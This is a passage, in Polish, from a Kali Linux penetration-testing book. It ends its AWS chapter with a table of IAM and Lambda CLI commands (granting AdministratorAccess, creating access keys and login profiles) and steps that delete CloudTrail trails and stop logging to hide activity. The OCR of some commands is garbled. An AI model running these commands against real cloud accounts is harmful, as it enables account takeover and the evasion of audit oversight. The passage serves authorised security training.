Tworzy nowy klucz dostępu dla użytkownika	aws iam create-access-key -user-name <i>nazwa_użytkownika</i>
Tworzy nowy profil logowania	<pre>aws iam create-login-profile -user-name nazwa_użytkownika - password ' [3rxYGG130'~68)0{,-\$1B"zKejZZ.X1;6T} <xt5isoe=lb2l^g@{uk>f;/CQQeXSo>}th)KZ7v?\\hq.#@dh49"=fT; ,1yTK0LG7J[qH\$LV5U<9'0~Z",jJ[iT-D^ (' -no-password-reset-required</xt5isoe=lb2l^g@{uk></pre>
Aktualizuje istniejący profil logowania	<pre>aws iam update-login-profile -user-name nazwa_użytkownika -password ' [3rxYGGl30'~68)0{,-\$1B"zKejZZ.X1;6T} <xt5isoe=lb2l^g0{uk>f;/CQQeXSo>}th)KZ7v?\\hq.#0dh49"=fT; ,1 yTK0LG7J[qH\$LV5U<9'0~Z",jJ[iT-D^ ('no-password-reset- required</xt5isoe=lb2l^g0{uk></pre>
Przypisuje politykę	
do: Użytkownika	aws iam attach-user-policy -user-name <i>nazwa_użytkownika</i> -policy-arn arn aws:iam::aws:policy/AdministratorAccess
Grupy	aws iam attach-group-policy -group-name <i>nazwa_grupy</i> -policy-arn arn:aws:iam::aws:policy/AdministratorAccess
KOII	aws iam attach-role-policy -role-name <i>nazwa_roli</i> -policy-arn arn:aws:iam::aws:policy/AdministratorAccess
Tworzy lub aktualizuje politykę dla:	
Użytkownika	aws iam put-user-policy -user-name <i>nazwa_użytkownika</i> -policy- -name <i>nazwa_polityki</i> -policy-document
Grupy	file://<ścieżka>/policy.json
Roli	aws iam put-group-policy -group-name <i>nazwa_grupy</i> -policy-name <i>nazwa_polityki</i> -policy-document file://<ścieżka>/policy.json
	aws iam put-role-policy -role-name <i>nazwa_roli</i> -policy-name <i>nazwa_polityki</i> -policydocument file://< <i>ścieżka</i> >/policy.json

 Tabela 8.3. Wybrane polecenia użyteczne podczas przeprowadzania testów penetracyjnych w chmurze AWS

Opis	Przykład polecenia
Dodaje użytkownika	aws iam add-user-to-groupgroup-name <i>nazwa_grupy</i>
do grupy	user-name <i>nazwa_użytkownika</i>
Aktualizuje ustawienie AssumeRolePolicyDocument danej roli	aws iam update-assume-role-policy -role-name <i>nazwa_roli</i> - policy-document file:// <i><ścieżka</i> >/policy.json
Aktualizuje kod	aws lambda update-function-codefunction-name
istniejącej funkcji	<i>nazwa_funkcji</i> -zip-file fileb://< <i>ścieżka</i> >/
lambda	<i>kod_źródłowy</i> .zip

Tabela 8.3. Wybrane polecenia użyteczne podczas przeprowadzania testów (ciąg dalszy)

Zaciemnianie logów CloudTrail

CloudTrail to usługa w ramach chmury Amazon, która monitoruje wszelkie działania wykonywane przez użytkowników. Zakładając, że udało Ci się już uzyskać wysoko uprzywilejowany dostęp do środowiska celu, możesz modyfikować ustawienia usługi CloudTrail w następujący sposób:

- 1. Wyświetl informacje o ustawieniach usługi CloudTrail. Aby to zrobić, powinieneś w oknie terminala wykonać polecenie sudo aws cloudtrail describe-details -profile <nazwa profilu>.
- 2. W zależności od potrzeb możesz na przykład wybrać usunięcie ścieżek. Aby to zrobić, wykonaj polecenie sudo aws cloudtrail delete-trail --name cloudgoat_trail --profile <*nazwa profilu*>.
- **3.** Możesz również całkowicie zatrzymać logowanie poleceniem sudo aws cloudtrail stop-logging --name cloudgoat_trail --profile <*nazwa profilu*>. Pamiętaj jednak, że wywoła to alert w GuardDuty (usłudze wykrywania zagrożeń w AWS) z informacją, że logi nie są zapisywane.

W tej sekcji na kilku praktycznych przykładach omówiliśmy kilka ważnych aspektów testów penetracyjnych w chmurze. Pentester powinien zawsze brać pod uwagę każdą infrastrukturę chmury jako część wewnętrznego lub zewnętrznego zakresu przeprowadzanych testów penetracyjnych, aby zapewnić, że cele danego zadania zostaną w pełni osiągnięte.

Podsumowanie

W tym rozdziale odbyliśmy szybką wycieczkę po różnych typach usług chmurowych i omówiliśmy kilka wybranych sposobów ataku na te usługi. Dowiedziałeś się, jak rozpoznawać i wykorzystywać niepoprawne konfiguracje zabezpieczeń usług AWS, jak wykorzystywać podatności i luki w zabezpieczeniach aplikacji internetowych poprzez logi z load balancera oraz jak poprzez błędnie skonfigurowane zasobniki S3 uzyskać dostęp do wewnętrznych instancji EC2. Ponadto poznałeś sposoby wykorzystania przywilejów instancji do zdobycia danych uwierzytelniających bazę danych, a także dowiedziałeś się, czym są ataki typu metadata service header injection i jak w ataku SSRF utworzyć nowe konto użytkownika, które w docelowym środowisku AWS będzie odgrywało rolę backdoora. Na koniec omówiliśmy wybrane polecenia konsoli, których można użyć podczas testów penetracyjnych usług AWS.

W następnym rozdziale skupimy się na zagadnieniach związanych z omijaniem systemów NAC (ang. *Network Access Control*), oprogramowania antywirusowego, mechanizmów UAC (ang. *User Account Control*) oraz mechanizmów zabezpieczających systemu Windows. Poznasz tam również nowe zestawy narzędzi, takie jak Veil Framework i Shellter.

PROGRAM PARTNERSKI — GRUPY HELION

1. ZAREJESTRUJ SIĘ 2. PREZENTUJ KSIĄŻKI 3. ZBIERAJ PROWIZJĘ

Zmień swoją stronę WWW w działający bankomat!

Dowiedz się więcej i dołącz już dzisiaj! http://program-partnerski.helion.pl

Chcesz bezpieczeństwa? Zrozum, jak działa napastnik!

Praca zdalna daje hakerom wiele nowych możliwości i okazji do ataków, obecnie bowiem za pośrednictwem sieci udostępnianych jest znacznie więcej poufnych informacji niż kiedykolwiek wcześniej. Test penetracyjny ma za zadanie symulować taki atak hakera napastnika. Poza skutecznością mechanizmów obronnych testy penetracyjne sprawdzają skutki fazy powłamaniowej eksploracji skompromitowanego systemu. A to pozwala na wykazanie ryzyka naruszenia bezpieczeństwa informacji, jeżeli nie zostaną podjęte odpowiednie działania. Do tych wszystkich celów świetnie nadaje się Kali — potężna dystrybucja systemu Linux, przeznaczona właśnie do przeprowadzania testów penetracyjnych, analiz informatyki śledczej i inżynierii wstecznej.

Jeśli masz już pewne umiejętności pentestera, dzięki tej książce poszerzysz swoją wiedzę o zaawansowanych narzędziach dostępnych w Kali Linux, a także nauczysz się wyrafinowanych taktyk stosowanych przez prawdziwych hakerów do atakowania sieci komputerowych. Omówiono tu różne sposoby instalowania i uruchamiania systemu Kali Linux w środowisku maszyn wirtualnych i kontenerów. Opisano też szereg zagadnień związanych z pasywnym i aktywnym rozpoznawaniem środowiska celu, w tym z używaniem skanerów podatności i modelowaniem zagrożeń. Zaprezentowano wiele zaawansowanych metod prowadzenia ataków na sieci komputerowe, urządzenia IoT, systemy wbudowane i urządzenia wykorzystujące połączenia bezprzewodowe.

Dzięki książce dowiesz się, jak:

- > eksplorować sieci przewodowe i bezprzewodowe, infrastrukturę chmury i usługi internetowe
- > atakować i łamać zabezpieczenia wbudowanych urządzeń peryferyjnych, Bluetooth, RFID i IoT
- skutecznie unikać wykrycia
- > używać pakietów: Metasploit, PowerShell Empire i CrackMapExec
- > nasłuchiwać ruch sieciowy za pomocą programów bettercap i Wireshark
- przeprowadzać ataki przy użyciu narzędzi: Metasploit, Burp Suite i OWASP ZAP

Vijay Kumar Velu

jest licencjonowanym pentesterem z kilkunastoletnim doświadczeniem w IT. Specjalizuje się w zagadnieniach informatyki śledczej, bezpieczeństwa ofensywnego i reagowania na incydenty bezpieczeństwa. Posiada wiele certyfikatów bezpieczeństwa, w tym Certified Ethical Hacker, EC-council Certified Security Analyst i Computer Hacking Forensics Investigator. Jest autorem książek, prelegentem i blogerem. Mieszka w Londynie.

